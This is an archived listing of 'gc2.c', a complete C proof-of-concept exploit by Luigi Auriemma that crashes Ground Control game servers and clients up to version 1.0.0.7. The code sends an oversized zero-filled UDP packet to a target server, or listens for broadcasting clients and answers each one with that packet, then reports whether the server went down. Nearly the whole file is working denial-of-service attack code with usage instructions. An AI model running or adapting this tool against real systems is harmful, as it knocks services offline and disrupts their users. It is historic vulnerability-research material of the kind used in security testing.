home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / groundcontrol / gc2.c < prev   
C/C++ Source or Header  |  2005-02-12  |  8KB  |  283 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <time.h>
  11.  
  12. #ifdef WIN32
  13.     #include <winsock.h>
  14.     #include "winerr.h"
  15.  
  16.     #define close   closesocket
  17.     #define ONESEC  1000
  18. #else
  19.     #include <unistd.h>
  20.     #include <sys/socket.h>
  21.     #include <sys/types.h>
  22.     #include <arpa/inet.h>
  23.     #include <netdb.h>
  24.  
  25.     #define ONESEC  1
  26. #endif
  27.  
  28.  
  29.  
  30. #define VER     "0.1"
  31. #define PORT    42001
  32. #define BUFFSZ  2048
  33. #define BOOMSZ  1024    // 513 is enough
  34. #define TIMEOUT 3
  35. #define INFO    "\x58\x00\x00\x00"  /* build    */ \
  36.                 "\x52\x00"          /* protocol */ \
  37.                 "\x0a\x00\x00"      /* gameinfo */
  38.                 /* this packet is not important, you can also use random data */
  39.  
  40.  
  41.  
  42. void show_gc2info(u_char *data, int len);
  43. void unicode2char(u_char *data, int len);
  44. int timeout(int sock);
  45. u_long resolv(char *host);
  46. void std_err(void);
  47.  
  48.  
  49.  
  50. int main(int argc, char *argv[]) {
  51.     struct  sockaddr_in     peer;
  52.     int     sd,
  53.             len,
  54.             psz,
  55.             on = 1,
  56.             type,
  57.             doubt = 0;
  58.     u_short port = PORT;
  59.     u_char  buff[BUFFSZ];
  60.  
  61.  
  62.     setbuf(stdout, NULL);
  63.  
  64.     fputs("\n"
  65.         "Ground Control <= 1.0.0.7 server/client crash "VER"\n"
  66.         "by Luigi Auriemma\n"
  67.         "e-mail: aluigi@altervista.org\n"
  68.         "web:    http://aluigi.altervista.org\n"
  69.         "\n", stdout);
  70.  
  71.     if(argc < 2) {
  72.         printf("\nUsage: %s <attack> [port(%d)]\n"
  73.             "\n"
  74.             "Attack:\n"
  75.             " c = broadcast clients crash\n"
  76.             " s = server crash (can be also directly used versus a client)\n"
  77.             "     You must add the IP or the hostname of the server after the 's'.\n"
  78.             "\n"
  79.             "Some usage examples:\n"
  80.             "  gc2boom c                      listens on port %d for clients\n"
  81.             "  gc2boom c 1234                 listens on port 1234\n"
  82.             "  gc2boom s 192.168.0.1          tests the server 192.168.0.1 on port %d\n"
  83.             "  gc2boom s codserver 1234       tests the server codserver on port 1234\n"
  84.             "\n", argv[0], PORT, PORT, PORT);
  85.         exit(1);
  86.     }
  87.  
  88. #ifdef WIN32
  89.     WSADATA    wsadata;
  90.     WSAStartup(MAKEWORD(1,0), &wsadata);
  91. #endif
  92.  
  93.     type = argv[1][0];
  94.     if(type == 's') {
  95.         if(!argv[2]) {
  96.             fputs("\n"
  97.                 "Error: you must specify the server IP or hostname.\n"
  98.                 "       Example: gc2boom s localhost\n"
  99.                 "\n", stdout);
  100.             exit(1);
  101.         }
  102.         peer.sin_addr.s_addr = resolv(argv[2]);
  103.         if(argc > 3) port = atoi(argv[3]);
  104.         printf("\n- Target   %s:%hu\n\n",
  105.             inet_ntoa(peer.sin_addr),
  106.             port);
  107.     } else if(type == 'c') {
  108.         peer.sin_addr.s_addr = INADDR_ANY;
  109.         if(argc > 2) port = atoi(argv[2]);
  110.         printf("\n- Listening on port %d\n", port);
  111.     } else {
  112.         fputs("\n"
  113.             "Error: Wrong type of attack.\n"
  114.             "       You can choose between 2 types of attacks, versus clients with 'c' or\n"
  115.             "       versus servers with 's'\n"
  116.             "\n", stdout);
  117.         exit(1);
  118.     }
  119.  
  120.     peer.sin_port   = htons(port);
  121.     peer.sin_family = AF_INET;
  122.     psz             = sizeof(peer);
  123.  
  124.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  125.     if(sd < 0) std_err();
  126.  
  127.     if(type == 's') {
  128.         fputs("- Request informations\n", stdout);
  129.         if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
  130.           < 0) std_err();
  131.         if(timeout(sd) < 0) {
  132.             fputs("\n"
  133.                 "Alert: socket timeout, probably the server is not online or the port you have\n"
  134.                 "       choosen is not exact.\n"
  135.                 "       Check the \"unreliableport\" value in the server's informations.\n"
  136.                 "       This tool now continue the attack\n", stdout);
  137.                 doubt = 1;
  138.         } else {
  139.             len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
  140.             if(len < 0) std_err();
  141.             show_gc2info(buff, len);
  142.         }
  143.  
  144.         memset(buff, 0x00, BOOMSZ);
  145.         fputs("- Send BOOM packet\n", stdout);
  146.         if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer, sizeof(peer))
  147.           < 0) std_err();
  148.  
  149.         fputs("- Wait one second for an exact check\n", stdout);
  150.         sleep(ONESEC);
  151.  
  152.         fputs("- Check if server is vulnerable\n", stdout);
  153.         if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
  154.           < 0) std_err();
  155.         if(doubt) {
  156.             fputs("\nI can't say if the host is vulnerable, check it manually\n\n", stdout);
  157.         } else {
  158.             if(timeout(sd) < 0) {
  159.                 fputs("\nServer IS vulnerable!!!\n\n", stdout);
  160.             } else {
  161.                 fputs("\nServer doesn't seem vulnerable\n\n", stdout);
  162.             }
  163.         }
  164.     } else {
  165.         if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
  166.           < 0) std_err();
  167.         if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
  168.           < 0) std_err();
  169.         fputs("Clients:\n", stdout);
  170.         while(1) {
  171.             len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
  172.             if(len < 0) std_err();
  173.             buff[len] = 0x00;
  174.  
  175.             printf("%16s:%hu -> %s\n",
  176.                 inet_ntoa(peer.sin_addr),
  177.                 ntohs(peer.sin_port),
  178.                 buff);
  179.  
  180.             memset(buff, 0x00, BOOMSZ);
  181.             if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer, sizeof(peer))
  182.               < 0) std_err();
  183.         }
  184.     }
  185.  
  186.     close(sd);
  187.     return(0);
  188. }
  189.  
  190.  
  191.  
  192.  
  193.  
  194. void show_gc2info(u_char *data, int len) {
  195.     u_char      *ptr;
  196.     int         cp;
  197.  
  198.     printf("\n Build:            %d", *(u_short *)data);
  199.     printf("\n Protocol:         %d", *(u_short *)(data + 4));
  200.     printf("\n Gameinfo:         %d", *(u_short *)(data + 6));
  201.     ptr = data + 9;
  202.     fputs("\n Server name:      ", stdout);
  203.     unicode2char(ptr + 1, *ptr);
  204.     fwrite(ptr + 1, 1, *ptr, stdout);
  205.     ptr += (*ptr << 1) + 1;
  206.     fputs("\n Map:              ", stdout);
  207.     ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
  208.     fputs("\n External IP:      ", stdout);
  209.     ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
  210.     ptr += 4;
  211.     cp = *ptr++;
  212.     printf("\n Current players:  %d", cp);
  213.     printf("\n Max players:      %d", *ptr++);
  214.     printf("\n ???:              %s", *ptr++ ? "true" : "false");
  215.     printf("\n Dedicated:        %s", *ptr++ ? "true" : "false");
  216.     printf("\n Password:         %s", *ptr++ ? "true" : "false");
  217.     ptr += 5;
  218.     while(cp--) {
  219.         fputs("\n   Player:         ", stdout);
  220.         unicode2char(ptr + 1, *ptr);
  221.         fwrite(ptr + 1, 1, *ptr, stdout);
  222.         ptr += (*ptr << 1) + 1 + 6;
  223.     }
  224.     fputs("\n\n", stdout);
  225. }
  226.  
  227.  
  228.  
  229. void unicode2char(u_char *data, int len) {
  230.     u_char  *out = data;
  231.  
  232.     while(len--) {
  233.         *out++ = *data++;
  234.         data++;
  235.     }
  236. }
  237.  
  238.  
  239.  
  240. int timeout(int sock) {
  241.     struct  timeval tout;
  242.     fd_set  fd_read;
  243.     int     err;
  244.  
  245.     tout.tv_sec = TIMEOUT;
  246.     tout.tv_usec = 0;
  247.     FD_ZERO(&fd_read);
  248.     FD_SET(sock, &fd_read);
  249.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  250.     if(err < 0) std_err();
  251.     if(!err) return(-1);
  252.     return(0);
  253. }
  254.  
  255.  
  256.  
  257. u_long resolv(char *host) {
  258.     struct  hostent *hp;
  259.     u_long  host_ip;
  260.  
  261.     host_ip = inet_addr(host);
  262.     if(host_ip == INADDR_NONE) {
  263.         hp = gethostbyname(host);
  264.         if(!hp) {
  265.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  266.             exit(1);
  267.         } else host_ip = *(u_long *)(hp->h_addr);
  268.     }
  269.     return(host_ip);
  270. }
  271.  
  272.  
  273.  
  274. #ifndef WIN32
  275.     void std_err(void) {
  276.         perror("\nError");
  277.         exit(1);
  278.     }
  279. #endif
  280.  
  281.  
  282.  
  283.